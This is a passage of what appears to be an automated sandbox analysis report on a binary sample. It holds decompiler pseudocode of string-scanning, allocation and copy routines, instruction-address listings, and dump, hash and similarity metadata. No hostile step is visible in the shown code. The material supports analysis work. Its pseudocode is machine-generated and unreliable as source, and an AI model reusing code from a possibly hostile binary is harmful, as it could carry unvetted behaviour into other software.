														goto L55;
													}
												}
											}
										}
										L179:
										L159:
										_t355 = _v36;
										_t273 = _v24;
										__eflags = _t307;
									} while (_t307 != 0);
									goto L54;
								}
								break;
							}
							L55:
							_t386 = _t385 - _v64;
							__eflags = _t386;
							if(_t386 != 0) {
								__eflags = _v64;
								if(_v64 == 0) {
									_t334 = 0;
								} else {
									_t259 = _v64 & 0x0000000f;
									__eflags = _t259;
									if(_t259 == 0) {
										L69:
										_t334 =  ~( ~_t259 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										__eflags = _t334;
										while(1) {
											asm("movdqu xmm1, [ebx+eax]");
											asm("pcmpeqb xmm1, xmm0");
											asm("pmovmskb ecx, xmm1");
											__eflags = _t307;
											if(_t307 != 0) {
												break;
											}
											_t259 = _t259 + 0x10;
											__eflags = _t259 - _t334;
											if(_t259 < _t334) {
												continue;
											} else {
												__eflags = _t334 - 0x7fffffff;
												if(_t334 >= 0x7fffffff) {
													L76:
													_t334 = 0x7fffffff;
												} else {
													_t260 = _v64;
													while(1) {
														__eflags =  *((char*)(_t334 + _t260));
														if( *((char*)(_t334 + _t260)) == 0) {
															goto L77;
														}
														_t334 = _t334 + 1;
														__eflags = _t334 - 0x7fffffff;
														if(_t334 < 0x7fffffff) {
															continue;
														} else {
															goto L76;
														}
														goto L77;
													}
												}
											}
											goto L77;
										}
										asm("bsf edx, ecx");
										_t334 = _t334 + _t259;
									} else {
										_t334 = 0;
										_t307 = _v64;
										_t259 =  ~_t259 + 0x10;
										__eflags = _t259;
										while(1) {
											__eflags =  *((char*)(_t334 + _t307));
											if( *((char*)(_t334 + _t307)) == 0) {
												goto L77;
											}
											_t334 = _t334 + 1;
											__eflags = _t334 - _t259;
											if(_t334 < _t259) {
												continue;
											} else {
												goto L69;
											}
											goto L77;
										}
									}
								}
								L77:
								_t312 = _t334 >> 0x0000001f & _t334;
								_t335 = _t334 - _t312;
								__eflags = _t386;
								if(_t386 < 0) {
									L79:
									_t386 = _t335;
								} else {
									__eflags = _t386 - _t335;
									if(_t386 > _t335) {
										goto L79;
									}
								}
								_t336 = _a4;
								 *_t336 = 0;
								 *((intOrPtr*)(_t336 + 4)) = 0;
								_t293 = _t312 + _v64;
								__eflags = _t293;
								if(_t293 == 0) {
									L116:
									_push(0x40);
									_t287 = E6ED41030();
									_t431 = _t431 + 4;
									_t239 =  *_a4;
									__eflags = _t239;
									if(_t239 == 0) {
										 *_t287 = 0;
									} else {
										__eflags = _t287;
										if(_t287 != 0) {
											_t337 =  *_t239;
											 *_t287 = _t337;
											__eflags = _t337;
											if(_t337 != 0) {
												_t338 = 0;
												__eflags = 0;
												while(1) {
													_t338 = _t338 + 1;
													_t313 =  *((char*)(_t239 + _t338 * 2 - 1));
													 *(_t287 + _t338 * 2 - 1) = _t313;
													__eflags = _t313;
													if(_t313 == 0) {
														goto L122;
													}
													_t314 =  *((char*)(_t239 + _t338 * 2));
													 *(_t287 + _t338 * 2) = _t314;
													__eflags = _t314;
													if(_t314 != 0) {
														continue;
													}
													goto L122;
												}
											}
										}
										L122:
										_push(1);
										_push(_t239);
										E6ED410B0();
										_t431 = _t431 + 8;
									}
									goto L124;
								} else {
									_t241 = _v64;
									__eflags =  *(_t241 + _t312);
									if( *(_t241 + _t312) == 0) {
										goto L116;
									} else {
										__eflags = _t386;
										if(_t386 == 0) {
											_t254 = _t241 + _t312;
											_v64 = _t254;
											_t255 = _t254 & 0x0000000f;
											__eflags = _t255;
											if(_t255 == 0) {
												L87:
												_t386 =  ~( ~_t255 + 0x0000000f & 0x0000000f) + 0x7fffffff;
												__eflags = _t386;
												while(1) {
													asm("movdqu xmm1, [ecx+eax]");
													asm("pcmpeqb xmm1, xmm0");
													asm("pmovmskb edx, xmm1");
													__eflags = _t336;
													if(_t336 != 0) {
														break;
													}
													_t255 = _t255 + 0x10;
													__eflags = _t255 - _t386;
													if(_t255 < _t386) {
														continue;
													} else {
														__eflags = _t386 - 0x7fffffff;
														if(_t386 >= 0x7fffffff) {
															L94:
															_t386 = 0x7fffffff;
														} else {
															_t256 = _v64;
															while(1) {
																__eflags =  *((char*)(_t386 + _t256));
																if( *((char*)(_t386 + _t256)) == 0) {
																	goto L95;
																}
																_t386 = _t386 + 1;
																__eflags = _t386 - 0x7fffffff;
																if(_t386 < 0x7fffffff) {
																	continue;
																} else {
																	goto L94;
																}
																goto L95;
															}
														}
													}
													goto L95;
												}
												asm("bsf edi, edx");
												_t386 = _t386 + _t255;
											} else {
												_t386 = 0;
												_t336 = _v64;
												_t255 =  ~_t255 + 0x10;
												__eflags = _t255;
												while(1) {
													__eflags =  *((char*)(_t386 + _t336));
													if( *((char*)(_t386 + _t336)) == 0) {
														goto L95;
													}
													_t386 = _t386 + 1;
													__eflags = _t386 - _t255;
													if(_t386 < _t255) {
														continue;
													} else {
														goto L87;
													}
													goto L95;
												}
											}
										}
										L95:
										_t115 = _t386 + 1; // -2147483661
										_t339 = _t115;
										__eflags = _t339 - 0x40;
										_t340 =  <=  ? 0x40 : _t339;
										__eflags = _t340;
										if(_t340 > 0) {
											_t408 = (_t340 >> 5 >> 0x1a) + _t340 >> 6;
											_t341 = _t340 & 0x8000003f;
											__eflags = _t341;
											if(_t341 < 0) {
												_t341 = (_t341 - 0x00000001 | 0xffffffc0) + 1;
												__eflags = _t341;
											}
											__eflags = _t341;
											_t410 = _t408 + (0 | _t341 > 0x00000000) << 6;
											_push(_t410);
											_t315 = E6ED41030();
											_t431 = _t431 + 4;
											_t342 =  *_a4;
											__eflags = _t342;
											if(_t342 == 0) {
												 *_t315 = 0;
											} else {
												__eflags = _t315;
												if(_t315 != 0) {
													_t250 =  *_t342;
													 *_t315 = _t250;
													__eflags = _t250;
													if(_t250 != 0) {
														__eflags = 0;
														_v60 = _t386;
														_v68 = _t293;
														_t294 = 0;
														while(1) {
															_t294 = _t294 + 1;
															_t252 =  *((char*)(_t342 + _t294 * 2 - 1));
															 *(_t315 + _t294 * 2 - 1) = _t252;
															__eflags = _t252;
															if(_t252 == 0) {
																break;
															}
															_t253 =  *((char*)(_t342 + _t294 * 2));
															 *(_t315 + _t294 * 2) = _t253;
															__eflags = _t253;
															if(_t253 != 0) {
																continue;
															}
															break;
														}
														_t386 = _v60;
														_t293 = _v68;
													}
												}
												_push(1);
												_push(_t342);
												_v68 = _t315;
												E6ED410B0();
												_t315 = _v68;
												_t431 = _t431 + 8;
											}
											_t247 = _a4;
											_t247[1] = _t410;
											 *_t247 = _t315;
										} else {
											_t315 = 0;
										}
										__eflags = _t315;
										if(_t315 != 0) {
											_t343 = 0;
											while(1) {
												_t248 =  *_t293;
												_t343 = _t343 + 1;
												 *_t315 = _t248;
												__eflags = _t386;
												if(_t386 == 0) {
													goto L114;
												}
												__eflags = _t343 - _t386;
												if(_t343 == _t386) {
													 *(_t315 + 1) = 0;
												} else {
													goto L114;
												}
												goto L125;
												L114:
												__eflags = _t248;
												if(_t248 != 0) {
													_t315 = _t315 + 1;
													_t293 = _t293 + 1;
													__eflags = _t293;
													continue;
												}
												goto L125;
											}
										}
									}
								}
							} else {
								_t351 = _a4;
								_push(0x40);
								 *_t351 = 0;
								 *((intOrPtr*)(_t351 + 4)) = 0;
								_t287 = E6ED41030();
								_t431 = _t431 + 4;
								_t265 =  *_a4;
								__eflags = _t265;
								if(_t265 == 0) {
									 *_t287 = 0;
								} else {
									__eflags = _t287;
									if(_t287 != 0) {
										_t352 =  *_t265;
										 *_t287 = _t352;
										__eflags = _t352;
										if(_t352 != 0) {
											_t353 = 0;
											__eflags = 0;
											while(1) {
												_t353 = _t353 + 1;
												_t317 =  *((char*)(_t265 + _t353 * 2 - 1));
												 *(_t287 + _t353 * 2 - 1) = _t317;
												__eflags = _t317;
												if(_t317 == 0) {
													goto L62;
												}
												_t318 =  *((char*)(_t265 + _t353 * 2));
												 *(_t287 + _t353 * 2) = _t318;
												__eflags = _t318;
												if(_t318 != 0) {
													continue;
												}
												goto L62;
											}
										}
									}
									L62:
									_push(1);
									_push(_t265);
									E6ED410B0();
									_t431 = _t431 + 8;
								}
								L124:
								_t222 = _a4;
								 *_t222 = _t287;
								_t222[1] = 0x40;
							}
						}
					} else {
						goto L39;
					}
				}
				L125:
				_push(1);
				_push(_v56);
				E6ED410B0();
				_v56 = 0;
				_v52 = 0;
				return _a4;
				goto L179;
			}

0x6ed51ebe
0x6ed51ec2
0x6ed51ec4
0x6ed51ec8
0x6ed51ecf
0x6ed51ed1
0x6ed51ed4
0x6ed51eda
0x6ed51f11
0x6ed51edc
0x6ed51ede
0x6ed51ee0
0x6ed51ee3
0x6ed51ee7
0x6ed51ee9
0x6ed51eeb
0x6ed51eeb
0x6ed51eec
0x6ed51ef1
0x6ed51ef7
0x00000000
0x00000000
0x6ed51ef9
0x6ed51efd
0x6ed51f02
0x00000000
0x00000000
0x00000000
0x6ed51f02
0x6ed51eeb
0x6ed51ee7
0x6ed51f04
0x6ed51f04
0x6ed51f06
0x6ed51f07
0x6ed51f0c
0x6ed51f0c
0x6ed51f14
0x6ed51f18
0x6ed51f20
0x6ed51f26
0x6ed51f31
0x6ed51f33
0x6ed5269a
0x6ed5269f
0x6ed51f39
0x6ed51f3b
0x6ed51f3b
0x6ed51f3e
0x6ed51f56
0x6ed51f5a
0x6ed51f66
0x6ed51f66
0x6ed51f6c
0x6ed51f6c
0x6ed51f71
0x6ed51f75
0x6ed51f79
0x6ed51f7b
0x00000000
0x00000000
0x6ed51f81
0x6ed51f84
0x6ed51f86
0x00000000
0x6ed51f88
0x6ed51f88
0x6ed51f8e
0x6ed51fa3
0x6ed51fa3
0x6ed51fa8
0x6ed51f90
0x6ed51f90
0x6ed51f90
0x6ed51f94
0x00000000
0x00000000
0x6ed51f9a
0x6ed51f9b
0x6ed51fa1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed51fa1
0x00000000
0x6ed51f90
0x6ed51f8e
0x00000000
0x6ed51f86
0x6ed52693
0x6ed52696
0x00000000
0x6ed51f40
0x6ed51f42
0x6ed51f44
0x6ed51f44
0x6ed51f47
0x6ed51f47
0x6ed51f4b
0x00000000
0x00000000
0x6ed51f51
0x6ed51f52
0x6ed51f54
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed51f54
0x6ed52678
0x6ed52678
0x6ed5267b
0x6ed52689
0x6ed5267d
0x6ed5267d
0x6ed52680
0x6ed52680
0x6ed5267b
0x6ed51f3e
0x6ed51fad
0x6ed51fb2
0x6ed51fb2
0x6ed51fb5
0x6ed51fb8
0x6ed51fbb
0x6ed51fbd
0x6ed51fd2
0x6ed51fd5
0x6ed51fd5
0x6ed51fdb
0x6ed51fe3
0x6ed51fe3
0x6ed51fe3
0x6ed51fe6
0x6ed51fed
0x6ed51ff0
0x6ed51ff6
0x6ed51ff8
0x6ed51ffb
0x6ed51fff
0x6ed52001
0x6ed52056
0x6ed52003
0x6ed52003
0x6ed52005
0x6ed52007
0x6ed5200a
0x6ed5200c
0x6ed5200e
0x6ed52010
0x6ed52014
0x6ed52014
0x6ed52016
0x6ed5201a
0x6ed5201d
0x6ed5201d
0x6ed5201e
0x6ed52023
0x6ed52027
0x6ed52029
0x00000000
0x00000000
0x6ed5202b
0x6ed5202f
0x6ed52032
0x6ed52034
0x00000000
0x00000000
0x00000000
0x6ed52034
0x6ed52036
0x6ed5203a
0x6ed5203e
0x6ed5203e
0x6ed5200e
0x6ed52041
0x6ed52043
0x6ed52044
0x6ed52048
0x6ed5204d
0x6ed52051
0x6ed52051
0x6ed52059
0x6ed5205d
0x6ed51fbf
0x6ed51fbf
0x6ed51fbf
0x6ed52065
0x6ed52068
0x6ed5206e
0x6ed51f28
0x6ed51f28
0x6ed51f28
0x6ed52073
0x6ed52077
0x6ed52084
0x6ed52084
0x6ed52089
0x6ed5208b
0x6ed5208d
0x6ed52095
0x6ed52097
0x6ed5209d
0x6ed520a1
0x6ed520db
0x6ed520a3
0x6ed520a5
0x6ed520a7
0x6ed520aa
0x6ed520ae
0x6ed520b0
0x6ed520b2
0x6ed520b2
0x6ed520b3
0x6ed520b8
0x6ed520be
0x00000000
0x00000000
0x6ed520c0
0x6ed520c4
0x6ed520c9
0x00000000
0x00000000
0x00000000
0x6ed520c9
0x6ed520b2
0x6ed520ae
0x6ed520cb
0x6ed520cb
0x6ed520cd
0x6ed520ce
0x6ed520d3
0x6ed520d3
0x00000000
0x6ed52079
0x6ed52079
0x6ed5207c
0x6ed52082
0x6ed520e7
0x6ed520f0
0x6ed520f2
0x6ed520f4
0x6ed52619
0x6ed5261e
0x6ed52620
0x6ed52622
0x6ed5262a
0x6ed5262c
0x6ed52632
0x6ed52634
0x6ed52636
0x6ed52670
0x6ed52638
0x6ed52638
0x6ed5263a
0x6ed5263c
0x6ed5263f
0x6ed52641
0x6ed52643
0x6ed52645
0x6ed52645
0x6ed52647
0x6ed52647
0x6ed52648
0x6ed5264d
0x6ed52651
0x6ed52653
0x00000000
0x00000000
0x6ed52655
0x6ed52659
0x6ed5265c
0x6ed5265e
0x00000000
0x00000000
0x00000000
0x6ed5265e
0x6ed52647
0x6ed52643
0x6ed52660
0x6ed52660
0x6ed52662
0x6ed52663
0x6ed52668
0x6ed52668
0x00000000
0x6ed520fa
0x6ed520fa
0x6ed52100
0x6ed52103
0x6ed52107
0x6ed5210b
0x6ed52112
0x6ed52120
0x6ed52124
0x6ed52128
0x6ed52128
0x6ed5212a
0x6ed5212a
0x6ed5212c
0x6ed5212e
0x6ed5212e
0x6ed5212f
0x00000000
0x00000000
0x6ed52131
0x6ed52135
0x6ed52137
0x6ed5213c
0x6ed52142
0x6ed52147
0x6ed5214a
0x6ed5214e
0x6ed52152
0x6ed52152
0x6ed52153
0x6ed52158
0x6ed5215b
0x6ed52162
0x6ed52165
0x6ed5216b
0x6ed5216e
0x6ed52170
0x6ed52174
0x00000000
0x00000000
0x6ed5217a
0x6ed5217d
0x00000000
0x6ed5217f
0x6ed5217f
0x6ed5217f
0x6ed5217f
0x00000000
0x6ed5217d
0x6ed52482
0x6ed52486
0x6ed5248a
0x6ed5248e
0x6ed5248e
0x6ed52490
0x6ed52492
0x6ed524af
0x6ed524bb
0x6ed524bf
0x6ed524bf
0x6ed524c5
0x6ed524c9
0x6ed524c9
0x6ed524ce
0x6ed524d2
0x6ed524d6
0x6ed524d8
0x00000000
0x00000000
0x6ed524de
0x6ed524e1
0x6ed524e3
0x00000000
0x6ed524e5
0x6ed524e5
0x6ed524e9
0x6ed524ed
0x6ed524f3
0x00000000
0x6ed524f5
0x6ed524f5
0x6ed524f9
0x6ed524f9
0x6ed524fd
0x00000000
0x00000000
0x6ed52503
0x6ed52504
0x6ed5250a
0x00000000
0x6ed5250c
0x6ed5250c
0x00000000
0x6ed5250c
0x00000000
0x6ed5250a
0x00000000
0x6ed524f9
0x6ed524f3
0x00000000
0x6ed524e3
0x6ed5260a
0x6ed5260d
0x6ed52611
0x6ed52613
0x00000000
0x6ed52494
0x6ed52494
0x6ed52498
0x6ed5249a
0x6ed5249a
0x6ed5249c
0x6ed5249c
0x6ed524a0
0x00000000
0x00000000
0x6ed524a6
0x6ed524a7
0x6ed524a9
0x00000000
0x6ed524ab
0x6ed524ab
0x00000000
0x6ed524ab
0x00000000
0x6ed524a9
0x6ed525e5
0x6ed525e5
0x6ed525e9
0x6ed525e9
0x6ed525eb
0x6ed52510
0x6ed52510
0x00000000
0x6ed525f1
0x6ed525f1
0x6ed52515
0x6ed52515
0x6ed52518
0x6ed52518
0x6ed5251a
0x6ed5251e
0x6ed52522
0x6ed52526
0x6ed5252a
0x6ed52531
0x6ed5253a
0x6ed5253d
0x6ed52540
0x6ed52546
0x6ed52549
0x6ed5254c
0x6ed5254e
0x00000000
0x00000000
0x6ed52552
0x6ed52554
0x6ed5255c
0x6ed5255c
0x6ed52562
0x6ed52566
0x6ed52566
0x00000000
0x6ed52556
0x6ed52556
0x6ed52557
0x6ed5255a
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed5255a
0x00000000
0x6ed52554
0x6ed52575
0x6ed52579
0x6ed5257f
0x6ed5257f
0x6ed52580
0x00000000
0x6ed52586
0x6ed52586
0x6ed5258f
0x6ed52594
0x6ed52597
0x6ed5259b
0x00000000
0x6ed525a1
0x6ed525a1
0x6ed525a5
0x6ed525a9
0x6ed525a9
0x6ed525aa
0x6ed525ab
0x6ed525b5
0x6ed525bb
0x6ed525be
0x6ed525c0
0x00000000
0x00000000
0x6ed525c2
0x6ed525c5
0x00000000
0x6ed525c7
0x00000000
0x6ed525c7
0x00000000
0x6ed525c5
0x00000000
0x6ed525a9
0x6ed5259b
0x6ed525f7
0x6ed525f7
0x6ed525fb
0x6ed525fd
0x6ed52601
0x6ed52568
0x6ed52568
0x6ed5256a
0x00000000
0x6ed52570
0x00000000
0x6ed52570
0x6ed5256a
0x6ed525f1
0x6ed525eb
0x00000000
0x6ed525d0
0x6ed525d0
0x6ed525d4
0x6ed525d8
0x6ed525d8
0x00000000
0x6ed525e0
0x00000000
0x6ed52135
0x6ed52183
0x6ed52183
0x6ed52183
0x6ed52187
0x6ed521e8
0x6ed521ed
0x6ed5247b
0x6ed521f3
0x6ed521f7
0x6ed521f7
0x6ed521fa
0x6ed52212
0x6ed52222
0x6ed52222
0x6ed52228
0x6ed52228
0x6ed5222d
0x6ed52231
0x6ed52235
0x6ed52237
0x00000000
0x00000000
0x6ed5223d
0x6ed52240
0x6ed52242
0x00000000
0x6ed52244
0x6ed52244
0x6ed5224a
0x6ed5225f
0x6ed5225f
0x6ed5224c
0x6ed5224c
0x6ed52250
0x6ed52250
0x6ed52254
0x00000000
0x00000000
0x6ed52256
0x6ed52257
0x6ed5225d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed5225d
0x6ed52250
0x6ed5224a
0x00000000
0x6ed52242
0x6ed52471
0x6ed52474
0x6ed521fc
0x6ed521fe
0x6ed52200
0x6ed52204
0x6ed52204
0x6ed52207
0x6ed52207
0x6ed5220b
0x00000000
0x00000000
0x6ed5220d
0x6ed5220e
0x6ed52210
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed52210
0x6ed52207
0x6ed521fa
0x6ed52264
0x6ed52269
0x6ed5226b
0x6ed5226d
0x6ed5226f
0x6ed52275
0x6ed52275
0x6ed52271
0x6ed52271
0x6ed52273
0x00000000
0x00000000
0x6ed52273
0x6ed52277
0x6ed5227e
0x6ed52280
0x6ed52283
0x6ed52283
0x6ed52287
0x6ed523e1
0x6ed523e1
0x6ed523e8
0x6ed523ea
0x6ed523f0
0x6ed523f2
0x6ed523f4
0x6ed5242b
0x6ed523f6
0x6ed523f6
0x6ed523f8
0x6ed523fa
0x6ed523fd
0x6ed523ff
0x6ed52401
0x6ed52403
0x6ed52403
0x6ed52405
0x6ed52405
0x6ed52406
0x6ed5240b
0x6ed5240f
0x6ed52411
0x00000000
0x00000000
0x6ed52413
0x6ed52417
0x6ed5241a
0x6ed5241c
0x00000000
0x00000000
0x00000000
0x6ed5241c
0x6ed52405
0x6ed52401
0x6ed5241e
0x6ed5241e
0x6ed52420
0x6ed52421
0x6ed52426
0x6ed52426
0x00000000
0x6ed5228d
0x6ed5228d
0x6ed52291
0x6ed52295
0x00000000
0x6ed5229b
0x6ed5229b
0x6ed5229d
0x6ed5229f
0x6ed522a1
0x6ed522a5
0x6ed522a5
0x6ed522a8
0x6ed522c0
0x6ed522d0
0x6ed522d0
0x6ed522d6
0x6ed522d6
0x6ed522db
0x6ed522df
0x6ed522e3
0x6ed522e5
0x00000000
0x00000000
0x6ed522eb
0x6ed522ee
0x6ed522f0
0x00000000
0x6ed522f2
0x6ed522f2
0x6ed522f8
0x6ed5230d
0x6ed5230d
0x6ed522fa
0x6ed522fa
0x6ed522fe
0x6ed522fe
0x6ed52302
0x00000000
0x00000000
0x6ed52304
0x6ed52305
0x6ed5230b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed5230b
0x6ed522fe
0x6ed522f8
0x00000000
0x6ed522f0
0x6ed52467
0x6ed5246a
0x6ed522aa
0x6ed522ac
0x6ed522ae
0x6ed522b2
0x6ed522b2
0x6ed522b5
0x6ed522b5
0x6ed522b9
0x00000000
0x00000000
0x6ed522bb
0x6ed522bc
0x6ed522be
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed522be
0x6ed522b5
0x6ed522a8
0x6ed52312
0x6ed52317
0x6ed52317
0x6ed5231a
0x6ed5231d
0x6ed52320
0x6ed52322
0x6ed52335
0x6ed52338
0x6ed52338
0x6ed5233e
0x6ed52346
0x6ed52346
0x6ed52346
0x6ed52349
0x6ed52350
0x6ed52353
0x6ed52359
0x6ed5235b
0x6ed52361
0x6ed52363
0x6ed52365
0x6ed523b4
0x6ed52367
0x6ed52367
0x6ed52369
0x6ed5236b
0x6ed5236e
0x6ed52370
0x6ed52372
0x6ed52374
0x6ed52376
0x6ed5237a
0x6ed5237d
0x6ed5237f
0x6ed5237f
0x6ed52380
0x6ed52385
0x6ed52389
0x6ed5238b
0x00000000
0x00000000
0x6ed5238d
0x6ed52391
0x6ed52394
0x6ed52396
0x00000000
0x00000000
0x00000000
0x6ed52396
0x6ed52398
0x6ed5239c
0x6ed5239c
0x6ed52372
0x6ed5239f
0x6ed523a1
0x6ed523a2
0x6ed523a6
0x6ed523ab
0x6ed523af
0x6ed523af
0x6ed523b7
0x6ed523ba
0x6ed523bd
0x6ed52324
0x6ed52324
0x6ed52324
0x6ed523bf
0x6ed523c1
0x6ed523c3
0x6ed523c9
0x6ed523c9
0x6ed523cc
0x6ed523cd
0x6ed523cf
0x6ed523d1
0x00000000
0x00000000
0x6ed523d3
0x6ed523d5
0x6ed52461
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed523db
0x6ed523db
0x6ed523dd
0x6ed523c7
0x6ed523c8
0x6ed523c8
0x00000000
0x6ed523c8
0x00000000
0x6ed523dd
0x6ed523c9
0x6ed523c1
0x6ed52295
0x6ed52189
0x6ed52189
0x6ed5218e
0x6ed52190
0x6ed52192
0x6ed5219a
0x6ed5219c
0x6ed521a2
0x6ed521a4
0x6ed521a6
0x6ed521e0
0x6ed521a8
0x6ed521a8
0x6ed521aa
0x6ed521ac
0x6ed521af
0x6ed521b1
0x6ed521b3
0x6ed521b5
0x6ed521b5
0x6ed521b7
0x6ed521b7
0x6ed521b8
0x6ed521bd
0x6ed521c1
0x6ed521c3
0x00000000
0x00000000
0x6ed521c5
0x6ed521c9
0x6ed521cc
0x6ed521ce
0x00000000
0x00000000
0x00000000
0x6ed521ce
0x6ed521b7
0x6ed521b3
0x6ed521d0
0x6ed521d0
0x6ed521d2
0x6ed521d3
0x6ed521d8
0x6ed521d8
0x6ed5242e
0x6ed5242e
0x6ed52431
0x6ed52433
0x6ed52433
0x6ed52187
0x00000000
0x00000000
0x00000000
0x6ed52082
0x6ed5243a
0x6ed5243a
0x6ed5243c
0x6ed52440
0x6ed5244a
0x6ed5244e
0x6ed5245e
0x00000000

Strings

@, xrefs: 6ED51F18

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 73f22bc3af338c376e1a23e00c2844d1b588c229ff9a55b9cec960deeffedffd
Instruction ID: 0d8967fa5f873821552861d8730103a4b5567d539d31e04f07fe21d6fec77cb1
Opcode Fuzzy Hash: 73f22bc3af338c376e1a23e00c2844d1b588c229ff9a55b9cec960deeffedffd
Instruction Fuzzy Hash: 43321971609792CFDB01CFA9C49032A7BF26FD6318F18866DD8E48B395DB35C8698742

Uniqueness

Uniqueness Score: -1.00%

Function 6ED526B0, Relevance: 1.9, Strings: 1, Instructions: 653
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E6ED526B0(signed int __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v28;
				signed int _v32;
				signed int _v36;
				void _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t183;
				signed int _t184;
				signed int* _t190;
				signed int _t194;
				signed int* _t195;
				signed int _t200;
				signed int _t204;
				void* _t206;
				signed int _t209;
				signed int _t212;
				signed int _t217;
				signed int* _t219;
				signed int _t220;
				signed int _t222;
				signed int _t223;
				signed int _t224;
				signed int _t225;
				signed int _t227;
				signed int _t228;
				signed int _t231;
				signed int _t232;
				signed int _t235;
				char _t236;
				signed int _t240;
				void* _t241;
				void* _t242;
				unsigned int _t247;
				signed int _t249;
				signed int _t250;
				signed int _t252;
				signed int _t254;
				signed int _t255;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				char _t260;
				char _t261;
				signed int _t262;
				signed int _t263;
				signed int _t266;
				signed int _t272;
				signed int _t273;
				signed int _t275;
				signed int _t277;
				signed int _t279;
				signed int _t280;
				void* _t281;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				void* _t285;
				signed int _t289;
				void* _t290;
				signed int _t291;
				signed int _t292;
				signed int _t293;
				intOrPtr* _t295;
				void* _t296;
				signed int _t297;
				intOrPtr* _t298;
				signed int _t299;
				signed int _t300;
				void* _t303;
				signed int _t305;
				char _t306;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t329;
				char _t331;
				char _t332;
				char _t333;
				signed int _t335;
				unsigned int _t340;
				signed int _t342;
				intOrPtr _t344;
				intOrPtr _t346;
				signed int _t347;
				signed int _t356;
				signed int _t358;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t373;
				intOrPtr* _t376;
				signed int _t377;
				signed int _t383;
				signed int _t384;
				void* _t387;

				_v52 = 0;
				_t231 = __ecx;
				_v48 = 0;
				_push(0x40);
				_t335 = E6ED41030();
				_t387 = (_t384 & 0xfffffff0) - 0x34 + 4;
				_t183 = _v52;
				if(_t183 == 0) {
					 *_t335 = 0;
					L8:
					_t184 = _a8;
					_v48 = 0x40;
					_v52 = _t335;
					if(_t184 != 0) {
						__eflags = _t335;
						if(_t335 == 0) {
							_t257 = 0x40;
							_t361 = 0;
							L22:
							_t20 = _t361 + 2; // 0x80000001
							_t290 = _t20;
							__eflags = _t290 - 0x40;
							_t291 =  <=  ? 0x40 : _t290;
							__eflags = _t257 - _t291;
							if(_t257 < _t291) {
								_t340 = (_t291 >> 5 >> 0x1a) + _t291 >> 6;
								_t292 = _t291 & 0x8000003f;
								__eflags = _t292;
								if(_t292 < 0) {
									_t292 = (_t292 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t292;
								}
								__eflags = _t292;
								_t342 = _t340 + (0 | _t292 > 0x00000000) << 6;
								_push(_t342);
								_t258 = E6ED41030();
								_t387 = _t387 + 4;
								_t293 = _v52;
								__eflags = _t293;
								if(_t293 == 0) {
									 *_t258 = 0;
									goto L35;
								} else {
									__eflags = _t258;
									if(_t258 == 0) {
										L33:
										_push(1);
										_push(_t293);
										_v68 = _t258;
										E6ED410B0();
										_t258 = _v68;
										_t387 = _t387 + 8;
										L35:
										_v48 = _t342;
										_v52 = _t258;
										L36:
										 *((char*)(_t258 + _t361)) = _a8;
										_t190 =  &_v52;
										 *((char*)(_t361 +  *_t190 + 1)) = 0;
										L37:
										_t259 =  *_t190;
										if(_t259 == 0) {
											L39:
											_t295 = _a4;
											_push(0x40);
											 *_t295 = 0;
											 *((intOrPtr*)(_t295 + 4)) = 0;
											_t232 = E6ED41030();
											_t387 = _t387 + 4;
											_t194 =  *_a4;
											if(_t194 == 0) {
												 *_t232 = 0;
												L60:
												_t195 = _a4;
												 *_t195 = _t232;
												_t195[1] = 0x40;
												L61:
												_push(1);
												_push(_v52);
												E6ED410B0();
												_v52 = 0;
												_v48 = 0;
												return _a4;
											}
											if(_t232 == 0) {
												L45:
												_push(1);
												_push(_t194);
												E6ED410B0();
												_t387 = _t387 + 8;
												goto L60;
											}
											_t296 =  *_t194;
											 *_t232 = _t296;
											if(_t296 == 0) {
												goto L45;
											}
											_t297 = 0;
											while(1) {
												_t297 = _t297 + 1;
												_t260 =  *((char*)(_t194 + _t297 * 2 - 1));
												 *((char*)(_t232 + _t297 * 2 - 1)) = _t260;
												if(_t260 == 0) {
													goto L45;
												}
												_t261 =  *((char*)(_t194 + _t297 * 2));
												 *((char*)(_t232 + _t297 * 2)) = _t261;
												if(_t261 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t344 =  *_t259;
										if(_t344 != 0) {
											_t200 =  *_t231;
											__eflags = _t200;
											if(_t200 == 0) {
												L52:
												_t298 = _a4;
												_push(0x40);
												 *_t298 = 0;
												 *((intOrPtr*)(_t298 + 4)) = 0;
												_t232 = E6ED41030();
												_t387 = _t387 + 4;
												_t204 =  *_a4;
												__eflags = _t204;
												if(_t204 == 0) {
													 *_t232 = 0;
													goto L60;
												}
												__eflags = _t232;
												if(_t232 == 0) {
													L58:
													_push(1);
													_push(_t204);
													E6ED410B0();
													_t387 = _t387 + 8;
													goto L60;
												}
												_t299 =  *_t204;
												 *_t232 = _t299;
												__eflags = _t299;
												if(_t299 == 0) {
													goto L58;
												}
												_t300 = 0;
												__eflags = 0;
												while(1) {
													_t300 = _t300 + 1;
